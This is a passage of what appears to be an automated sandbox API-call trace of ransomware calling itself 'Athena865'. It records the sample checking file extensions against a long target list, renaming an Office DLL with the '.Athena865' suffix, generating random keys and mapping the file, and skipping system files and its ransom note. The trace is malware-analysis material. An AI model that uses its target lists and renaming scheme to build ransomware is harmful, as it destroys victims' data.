(lpString=".lnk") returned 4 [0086.007] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2=".lnk") returned 1 [0086.007] lstrlenW (lpString=".ini") returned 4 [0086.007] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2=".ini") returned 1 [0086.007] lstrlenW (lpString=".sys") returned 4 [0086.007] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2=".sys") returned 1 [0086.007] lstrlenW (lpString="TaxonomyControl.dll") returned 19 [0086.007] lstrlenW (lpString="bak") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0086.007] lstrlenW (lpString="ba_") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0086.007] lstrlenW (lpString="dbb") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0086.007] lstrlenW (lpString="vmdk") returned 4 [0086.007] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0086.007] lstrlenW (lpString="rar") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0086.007] lstrlenW (lpString="zip") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0086.007] lstrlenW (lpString="tgz") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0086.007] lstrlenW (lpString="vbox") returned 4 [0086.007] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0086.007] lstrlenW (lpString="vdi") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0086.007] lstrlenW (lpString="vhd") returned 3 [0086.007] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0086.008] lstrlenW (lpString="vhdx") returned 4 [0086.008] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0086.008] lstrlenW (lpString="avhd") returned 4 [0086.008] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0086.008] lstrlenW (lpString="db") returned 2 [0086.008] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0086.008] lstrlenW (lpString="db2") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0086.008] lstrlenW (lpString="db3") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0086.008] lstrlenW (lpString="dbf") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0086.008] lstrlenW (lpString="mdf") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0086.008] lstrlenW (lpString="mdb") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0086.008] lstrlenW (lpString="sql") returned 3 [0086.008] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0086.008] lstrlenW (lpString="sqlite") returned 6 [0086.008] lstrcmpiW (lpString1="ol.dll", lpString2="sqlite") returned -1 [0086.008] lstrlenW (lpString="sqlite3") returned 7 [0086.008] lstrcmpiW (lpString1="rol.dll", lpString2="sqlite3") returned -1 [0086.008] lstrlenW (lpString="sqlitedb") returned 8 [0086.008] lstrcmpiW (lpString1="trol.dll", lpString2="sqlitedb") returned 1 [0086.008] lstrlenW (lpString="xml") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0086.009] lstrlenW (lpString="$er") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0086.009] lstrlenW (lpString="4dd") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0086.009] lstrlenW (lpString="4dl") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0086.009] lstrlenW (lpString="^^^") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0086.009] lstrlenW (lpString="abs") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0086.009] lstrlenW (lpString="abx") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0086.009] lstrlenW (lpString="accdb") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0086.009] lstrlenW (lpString="accdc") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0086.009] lstrlenW (lpString="accde") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0086.009] lstrlenW (lpString="accdr") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0086.009] lstrlenW (lpString="accdt") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0086.009] lstrlenW (lpString="accdw") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0086.009] lstrlenW (lpString="accft") returned 5 [0086.009] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0086.009] lstrlenW (lpString="adb") returned 3 [0086.009] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0086.010] lstrlenW (lpString="adb") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0086.010] lstrlenW (lpString="ade") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0086.010] lstrlenW (lpString="adf") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0086.010] lstrlenW (lpString="adn") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0086.010] lstrlenW (lpString="adp") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0086.010] lstrlenW (lpString="alf") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0086.010] lstrlenW (lpString="ask") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0086.010] lstrlenW (lpString="btr") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0086.010] lstrlenW (lpString="cat") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0086.010] lstrlenW (lpString="cdb") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0086.010] lstrlenW (lpString="ckp") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0086.010] lstrlenW (lpString="cma") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0086.010] lstrlenW (lpString="cpd") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0086.010] lstrlenW (lpString="dacpac") returned 6 [0086.010] lstrcmpiW (lpString1="ol.dll", lpString2="dacpac") returned 1 [0086.010] lstrlenW (lpString="dad") returned 3 [0086.010] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0086.010] lstrlenW (lpString="dadiagrams") returned 10 [0086.011] lstrcmpiW (lpString1="ontrol.dll", lpString2="dadiagrams") returned 1 [0086.011] lstrlenW (lpString="daschema") returned 8 [0086.011] lstrcmpiW (lpString1="trol.dll", lpString2="daschema") returned 1 [0086.011] lstrlenW (lpString="db-journal") returned 10 [0086.011] lstrcmpiW (lpString1="ontrol.dll", lpString2="db-journal") returned 1 [0086.011] lstrlenW (lpString="db-shm") returned 6 [0086.011] lstrcmpiW (lpString1="ol.dll", lpString2="db-shm") returned 1 [0086.011] lstrlenW (lpString="db-wal") returned 6 [0086.011] lstrcmpiW (lpString1="ol.dll", lpString2="db-wal") returned 1 [0086.011] lstrlenW (lpString="dbc") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0086.011] lstrlenW (lpString="dbs") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0086.011] lstrlenW (lpString="dbt") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0086.011] lstrlenW (lpString="dbv") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0086.011] lstrlenW (lpString="dbx") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0086.011] lstrlenW (lpString="dcb") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0086.011] lstrlenW (lpString="dct") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0086.011] lstrlenW (lpString="dcx") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0086.011] lstrlenW (lpString="ddl") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0086.011] lstrlenW (lpString="dlis") returned 4 [0086.011] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0086.011] lstrlenW (lpString="dp1") returned 3 [0086.011] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0086.011] lstrlenW (lpString="dqy") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0086.012] lstrlenW (lpString="dsk") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0086.012] lstrlenW (lpString="dsn") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0086.012] lstrlenW (lpString="dtsx") returned 4 [0086.012] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0086.012] lstrlenW (lpString="dxl") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0086.012] lstrlenW (lpString="eco") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0086.012] lstrlenW (lpString="ecx") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0086.012] lstrlenW (lpString="edb") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0086.012] lstrlenW (lpString="epim") returned 4 [0086.012] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0086.012] lstrlenW (lpString="fcd") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0086.012] lstrlenW (lpString="fdb") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0086.012] lstrlenW (lpString="fic") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0086.012] lstrlenW (lpString="flexolibrary") returned 12 [0086.012] lstrcmpiW (lpString1="yControl.dll", lpString2="flexolibrary") returned 1 [0086.012] lstrlenW (lpString="fm5") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0086.012] lstrlenW (lpString="fmp") returned 3 [0086.012] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0086.012] lstrlenW (lpString="fmp12") returned 5 [0086.012] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0086.012] lstrlenW (lpString="fmpsl") returned 5 [0086.012] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0086.013] lstrlenW (lpString="fol") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0086.013] lstrlenW (lpString="fp3") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0086.013] lstrlenW (lpString="fp4") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0086.013] lstrlenW (lpString="fp5") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0086.013] lstrlenW (lpString="fp7") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0086.013] lstrlenW (lpString="fpt") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0086.013] lstrlenW (lpString="frm") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0086.013] lstrlenW (lpString="gdb") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0086.013] lstrlenW (lpString="gdb") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0086.013] lstrlenW (lpString="grdb") returned 4 [0086.013] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0086.013] lstrlenW (lpString="gwi") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0086.013] lstrlenW (lpString="hdb") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0086.013] lstrlenW (lpString="his") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0086.013] lstrlenW (lpString="ib") returned 2 [0086.013] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0086.013] lstrlenW (lpString="idb") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0086.013] lstrlenW (lpString="ihx") returned 3 [0086.013] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0086.014] lstrlenW (lpString="itdb") returned 4 [0086.014] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0086.014] lstrlenW (lpString="itw") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0086.014] lstrlenW (lpString="jet") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0086.014] lstrlenW (lpString="jtx") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0086.014] lstrlenW (lpString="kdb") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0086.014] lstrlenW (lpString="kexi") returned 4 [0086.014] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0086.014] lstrlenW (lpString="kexic") returned 5 [0086.014] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0086.014] lstrlenW (lpString="kexis") returned 5 [0086.014] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0086.014] lstrlenW (lpString="lgc") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0086.014] lstrlenW (lpString="lwx") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0086.014] lstrlenW (lpString="maf") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0086.014] lstrlenW (lpString="maq") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0086.014] lstrlenW (lpString="mar") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0086.014] lstrlenW (lpString="marshal") returned 7 [0086.014] lstrcmpiW (lpString1="rol.dll", lpString2="marshal") returned 1 [0086.014] lstrlenW (lpString="mas") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0086.014] lstrlenW (lpString="mav") returned 3 [0086.014] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0086.014] lstrlenW (lpString="maw") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0086.015] lstrlenW (lpString="mdbhtml") returned 7 [0086.015] lstrcmpiW (lpString1="rol.dll", lpString2="mdbhtml") returned 1 [0086.015] lstrlenW (lpString="mdn") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0086.015] lstrlenW (lpString="mdt") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0086.015] lstrlenW (lpString="mfd") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0086.015] lstrlenW (lpString="mpd") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0086.015] lstrlenW (lpString="mrg") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0086.015] lstrlenW (lpString="mud") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0086.015] lstrlenW (lpString="mwb") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0086.015] lstrlenW (lpString="myd") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0086.015] lstrlenW (lpString="ndf") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0086.015] lstrlenW (lpString="nnt") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0086.015] lstrlenW (lpString="nrmlib") returned 6 [0086.015] lstrcmpiW (lpString1="ol.dll", lpString2="nrmlib") returned 1 [0086.015] lstrlenW (lpString="ns2") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0086.015] lstrlenW (lpString="ns3") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0086.015] lstrlenW (lpString="ns4") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0086.015] lstrlenW (lpString="nsf") returned 3 [0086.015] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0086.016] lstrlenW (lpString="nv") returned 2 [0086.016] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0086.016] lstrlenW (lpString="nv2") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0086.016] lstrlenW (lpString="nwdb") returned 4 [0086.016] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0086.016] lstrlenW (lpString="nyf") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0086.016] lstrlenW (lpString="odb") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0086.016] lstrlenW (lpString="odb") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0086.016] lstrlenW (lpString="oqy") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0086.016] lstrlenW (lpString="ora") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0086.016] lstrlenW (lpString="orx") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0086.016] lstrlenW (lpString="owc") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0086.016] lstrlenW (lpString="p96") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0086.016] lstrlenW (lpString="p97") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0086.016] lstrlenW (lpString="pan") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0086.016] lstrlenW (lpString="pdb") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0086.016] lstrlenW (lpString="pdm") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0086.016] lstrlenW (lpString="pnz") returned 3 [0086.016] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0086.016] lstrlenW (lpString="qry") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0086.017] lstrlenW (lpString="qvd") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0086.017] lstrlenW (lpString="rbf") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0086.017] lstrlenW (lpString="rctd") returned 4 [0086.017] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0086.017] lstrlenW (lpString="rod") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0086.017] lstrlenW (lpString="rodx") returned 4 [0086.017] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0086.017] lstrlenW (lpString="rpd") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0086.017] lstrlenW (lpString="rsd") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0086.017] lstrlenW (lpString="sas7bdat") returned 8 [0086.017] lstrcmpiW (lpString1="trol.dll", lpString2="sas7bdat") returned 1 [0086.017] lstrlenW (lpString="sbf") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0086.017] lstrlenW (lpString="scx") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0086.017] lstrlenW (lpString="sdb") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0086.017] lstrlenW (lpString="sdc") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0086.017] lstrlenW (lpString="sdf") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0086.017] lstrlenW (lpString="sis") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0086.017] lstrlenW (lpString="spq") returned 3 [0086.017] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0086.017] lstrlenW (lpString="te") returned 2 [0086.018] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0086.018] lstrlenW (lpString="teacher") returned 7 [0086.018] lstrcmpiW (lpString1="rol.dll", lpString2="teacher") returned -1 [0086.018] lstrlenW (lpString="tmd") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0086.018] lstrlenW (lpString="tps") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0086.018] lstrlenW (lpString="trc") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0086.018] lstrlenW (lpString="trc") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0086.018] lstrlenW (lpString="trm") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0086.018] lstrlenW (lpString="udb") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0086.018] lstrlenW (lpString="udl") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0086.018] lstrlenW (lpString="usr") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0086.018] lstrlenW (lpString="v12") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0086.018] lstrlenW (lpString="vis") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0086.018] lstrlenW (lpString="vpd") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0086.018] lstrlenW (lpString="vvv") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0086.018] lstrlenW (lpString="wdb") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0086.018] lstrlenW (lpString="wmdb") returned 4 [0086.018] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0086.018] lstrlenW (lpString="wrk") returned 3 [0086.018] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0086.019] lstrlenW (lpString="xdb") returned 3 [0086.019] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0086.019] lstrlenW (lpString="xld") returned 3 [0086.019] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0086.019] lstrlenW (lpString="xmlff") returned 5 [0086.019] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0086.019] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TaxonomyControl.dll.Athena865") returned 72 [0086.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TaxonomyControl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\taxonomycontrol.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TaxonomyControl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\taxonomycontrol.dll.athena865"), dwFlags=0x1) returned 1 [0086.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TaxonomyControl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\taxonomycontrol.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.023] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=119648) returned 1 [0086.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.023] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.024] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.024] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.024] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d660, lpName=0x0) returned 0x154 [0086.026] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d660) returned 0x100000 [0086.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.037] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.037] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.038] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.039] CloseHandle (hObject=0x154) returned 1 [0086.039] CloseHandle (hObject=0x17c) returned 1 [0086.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.040] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb7df00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5ad5e950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb7df00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x46c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THOCR.PSP", cAlternateFileName="")) returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2=".") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="..") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="windows") returned -1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="bootmgr") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="temp") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="pagefile.sys") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="boot") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="ids.txt") returned 1 